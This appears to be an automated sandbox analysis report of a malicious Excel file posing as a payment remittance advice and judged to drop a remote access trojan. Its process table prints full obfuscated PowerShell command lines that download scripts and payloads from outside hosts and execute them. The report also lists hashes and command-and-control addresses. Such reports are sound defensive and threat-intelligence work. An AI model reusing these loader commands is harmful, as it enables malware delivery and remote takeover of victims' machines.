| File name: | Payment Remittance Advice_000000202213.xlsb |
| Full analysis: | https://app.any.run/tasks/a250a94c-3253-4f76-b91d-7281710ad5d8 |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | January 04, 2022, 20:34:31 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet |
| File info: | Microsoft Excel 2007+ |
| MD5: | 61393CC2ED5C3E69C914089E2D1EAFC2 |
| SHA1: | A02FDE6B411B6BA15322EB8C596BE9D5D87A51C3 |
| SHA256: | B1DF072EBA923C472E461200B35823FDE7F8E640BFB468FF5AC707369A2FA35E |
| SSDEEP: | 3072:rcN8LpF0iVAqcaR6bvxHFn7bP9be5w+v4rS4hDSf:rm8Fa2pObJHJbPI5w64rS4NSf |
| .xlsm | | | Excel Microsoft Office Open XML Format document (with Macro) (50.8) |
|---|---|---|
| .xlsx | | | Excel Microsoft Office Open XML Format document (30) |
| .zip | | | Open Packaging Conventions container (15.4) |
| .zip | | | ZIP compressed archive (3.5) |
| AppVersion: | 16.03 |
|---|---|
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| Company: | - |
| TitlesOfParts: | Sheet1 |
| HeadingPairs: |
|
| ScaleCrop: | No |
| DocSecurity: | None |
| Application: | Microsoft Excel |
| ModifyDate: | 2022:01:04 18:13:12Z |
| CreateDate: | 2015:06:05 18:17:20Z |
| LastModifiedBy: | Administrator |
| Creator: | Eng Moha |
|---|
| ZipFileName: | [Content_Types].xml |
|---|---|
| ZipUncompressedSize: | 1385 |
| ZipCompressedSize: | 435 |
| ZipCRC: | 0xf8a02707 |
| ZipModifyDate: | 1980:01:01 00:00:00 |
| ZipCompression: | Deflated |
| ZipBitFlag: | 0x0006 |
| ZipRequiredVersion: | 20 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 612 | "C:\Windows\System32\cmd.exe" /c copy "misc.vbs " "C:\Users\admin\AppData\Local\Microsoft" /Y | C:\Windows\System32\cmd.exe | — | WScript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2084 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\admin\AppData\Local\Temp\xkblyoonkrxxlhmomgyzdptgryk" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | MSBuild.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.0.30319.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
| 2136 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\admin\AppData\Local\Temp\kguorzkilhhoxcwwmcgurgigbmlndedgnq" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | MSBuild.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.0.30319.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
| 2240 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\misc.vbs" | C:\Windows\System32\WScript.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft � Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2424 | "C:\Windows\system32\PING.EXE" google.com | C:\Windows\system32\PING.EXE | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2540 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe /stext "C:\Users\admin\AppData\Local\Temp\iegvyhzgxzpcnvisdrlagunxafcekt" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | MSBuild.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.0.30319.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
| 2768 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping google.com;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.csim\''+pmet:vne$,''UxKUVsB6crz3IBA=yekhtua&07712%58868200A4928F46=diser&58868200A4928F46=dic?daolnwod/moc.evil.evirdeno//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX(([regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join '');start-process($env:temp+ '\misc.vbs') | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | EXCEL.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 2832 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: MSBuild.exe Exit code: 0 Version: 4.0.30319.34209 built by: FX452RTMGDR Modules
| |||||||||||||||
| 3128 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\rxmenlapmpchxqojrutxjfoeypo.vbs" | C:\Windows\System32\WScript.exe | — | MSBuild.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft � Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3324 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $DCobcVEmviJrAkHMYUGW='27%5B%76%6F%69%64%27%20%2B%20%27%5D%20%5B%53%79%73%74%27%20%2B%20%27%65%6D%2E%52%65%66%6C%65%27%20%2B%20%27%63%74%69%6F%6E%2E%41%73%73%65%27%20%2B%20%27%6D%62%6C%79%5D%3A%3A%4C%6F%61%64%57%69%27%20%2B%20%27%74%68%50%61%72%74%69%61%6C%4E%61%6D%65%28%27%27%4D%69%63%72%6F%73%6F%66%74%2E%56%69%73%75%61%6C%42%61%73%69%63%27%27%29%27%7C%49%45%58%3B%24%74%35%36%66%67%20%3D%20%5B%45%6E%75%6D%5D%3A%3A%54%6F%4F%62%6A%65%63%74%28%5B%53%79%73%74%65%6D%2E%4E%65%74%2E%53%65%63%75%72%69%74%79%50%72%6F%74%6F%63%6F%6C%54%79%70%65%5D%2C%20%33%30%37%32%29%3B%5B%53%79%73%74%65%6D%2E%4E%65%74%2E%53%65%72%76%69%63%65%50%6F%69%6E%74%4D%61%6E%61%67%65%72%5D%3A%3A%53%65%63%75%72%69%74%79%50%72%6F%74%6F%63%6F%6C%20%3D%20%24%74%35%36%66%67%3B%64%6F%20%7B%24%70%69%6E%67%20%3D%20%74%65%73%74%2D%63%6F%6E%6E%65%63%74%69%6F%6E%20%2D%63%6F%6D%70%20%67%6F%6F%67%6C%65%2E%63%6F%6D%20%2D%63%6F%75%6E%74%20%31%20%2D%51%75%69%65%74%7D%20%75%6E%74%69%6C%20%28%24%70%69%6E%67%29%3B%24%74%74%79%3D%27%28%4E%65%77%2D%27%2B%27%4F%62%6A%65%27%2B%27%63%74%20%4E%65%27%2B%27%74%2E%57%65%27%2B%27%62%43%6C%69%27%2B%27%65%6E%74%29%27%7C%49%60%45%60%58%3B%24%6D%76%3D%20%5B%4D%69%63%72%6F%73%6F%66%74%2E%56%69%73%75%61%6C%42%61%73%69%63%2E%49%6E%74%65%72%61%63%74%69%6F%6E%5D%3A%3A%43%61%6C%6C%42%79%6E%61%6D%65%28%24%74%74%79%2C%27%44%6F%77%6E%6C%6F%61%64%53%74%72%69%6E%67%27%2C%5B%4D%69%63%72%6F%73%6F%66%74%2E%56%69%73%75%61%6C%42%61%73%69%63%2E%43%61%6C%6C%54%79%70%65%5D%3A%3A%4D%65%74%68%6F%64%2C%27%68%74%74%70%27%20%2B%20%27%3A%2F%2F%31%30%34%2E%32%32%33%2E%31%31%39%2E%31%36%37%2F%63%61%6C%69%65%6E%74%2E%6A%70%67%27%29%3B%24%72%37%38%66%64%30%30%30%73%64%3D%20%24%6D%76%20%2D%73%70%6C%69%74%20%27%25%27%20%7C%46%6F%72%45%61%63%68%2D%4F%62%6A%65%63%74%20%7B%5B%63%68%61%72%5D%5B%62%79%74%65%5D%22%30%78%24%5F%22%7D%3B%24%79%35%6A%68%36%32%64%66%30%3D%20%49%60%45%60%58%28%24%72%37%38%66%64%30%30%30%73%64%20%2D%6A%6F%69%6E%20%27%27%29';$jm=$DCobcVEmviJrAkHMYUGW.Split('%') | forEach {[char]([convert]::toint16($_,16))};I`E`X($jm -join '') | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | s:; |
Value: 733A3B00680E0000010000000000000000000000 | |||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (3688) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3688 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVREA73.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2084 | MSBuild.exe | C:\Users\admin\AppData\Local\Temp\bhv1900.tmp | — | |
MD5:— | SHA256:— | |||
| 2768 | powershell.exe | C:\Users\admin\AppData\Local\Temp\misc.vbs | text | |
MD5:— | SHA256:— | |||
| 3324 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:— | SHA256:— | |||
| 2768 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF | |||
| 2240 | WScript.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\atcn[1].jpg | text | |
MD5:5B4E95F9E6D36E309C552157D0B7FCD9 | SHA256:DF6B921E5B1379747C4AB66AD27CC729F387BB2C7C1C247F3C7BC5C9E3293EC3 | |||
| 2768 | powershell.exe | C:\Users\admin\AppData\Local\Temp\swft44am.hob.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3324 | powershell.exe | C:\Users\admin\AppData\Local\Temp\1735cef4-28a3-4a95-a499-483c2ca4c598\AgileDotNetRT.dll | executable | |
MD5:14FF402962AD21B78AE0B4C43CD1F194 | SHA256:FB9646CB956945BDC503E69645F6B5316D3826B780D3C36738D6B944E884D15B | |||
| 3324 | powershell.exe | C:\Users\admin\AppData\Local\Temp\dcvxwmth.fbz.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2832 | MSBuild.exe | C:\Users\admin\AppData\Local\Temp\rxmenlapmpchxqojrutxjfoeypo.vbs | binary | |
MD5:92323D5EAFDD057F2602A2A0B5F5230E | SHA256:52512978AD3BD19B5BBC6A332B2CC7635947C9F29979F746F406161FFB3AC34A | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2768 | powershell.exe | GET | 301 | 13.107.42.13:80 | http://onedrive.live.com/download?cid=64F8294A00286885&resid=64F8294A00286885%21770&authkey=ABI3zrc6BsVUKxU | US | html | 233 b | shared |
3324 | powershell.exe | GET | 200 | 104.223.119.167:80 | http://104.223.119.167/calient.jpg | US | text | 2.35 Mb | suspicious |
2240 | WScript.exe | GET | 200 | 64.188.19.241:80 | http://64.188.19.241/atcn.jpg | US | text | 4.59 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2768 | powershell.exe | 13.107.42.13:80 | onedrive.live.com | Microsoft Corporation | US | malicious |
2768 | powershell.exe | 13.107.42.13:443 | onedrive.live.com | Microsoft Corporation | US | malicious |
2768 | powershell.exe | 13.107.42.12:443 | diufxw.sn.files.1drv.com | Microsoft Corporation | US | suspicious |
2240 | WScript.exe | 64.188.19.241:80 | — | QuadraNet, Inc | US | malicious |
3324 | powershell.exe | 104.223.119.167:80 | — | QuadraNet, Inc | US | suspicious |
2832 | MSBuild.exe | 79.134.225.79:10174 | shiestynerd.dvrlists.com | Andreas Fink trading as Fink Telecom Services | CH | malicious |
Domain | IP | Reputation |
|---|---|---|
google.com |
| malicious |
onedrive.live.com |
| shared |
diufxw.sn.files.1drv.com |
| suspicious |
shiestynerd.dvrlists.com |
| malicious |
PID | Process | Class | Message |
|---|---|---|---|
3324 | powershell.exe | Potentially Bad Traffic | ET WEB_CLIENT Hex Obfuscation of replace Javascript Function % Encoding |
3324 | powershell.exe | Executable code was detected | ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt |
3324 | powershell.exe | Potentially Bad Traffic | ET WEB_CLIENT Hex Obfuscation of replace Javascript Function % Encoding |
3324 | powershell.exe | Executable code was detected | ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt |
3324 | powershell.exe | Executable code was detected | ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt |
3324 | powershell.exe | Executable code was detected | ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt |
3324 | powershell.exe | Executable code was detected | ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt |
3324 | powershell.exe | Executable code was detected | ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt |
3324 | powershell.exe | Executable code was detected | ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt |
3324 | powershell.exe | Executable code was detected | ET SHELLCODE Possible %41%41%41%41 Heap Spray Attempt |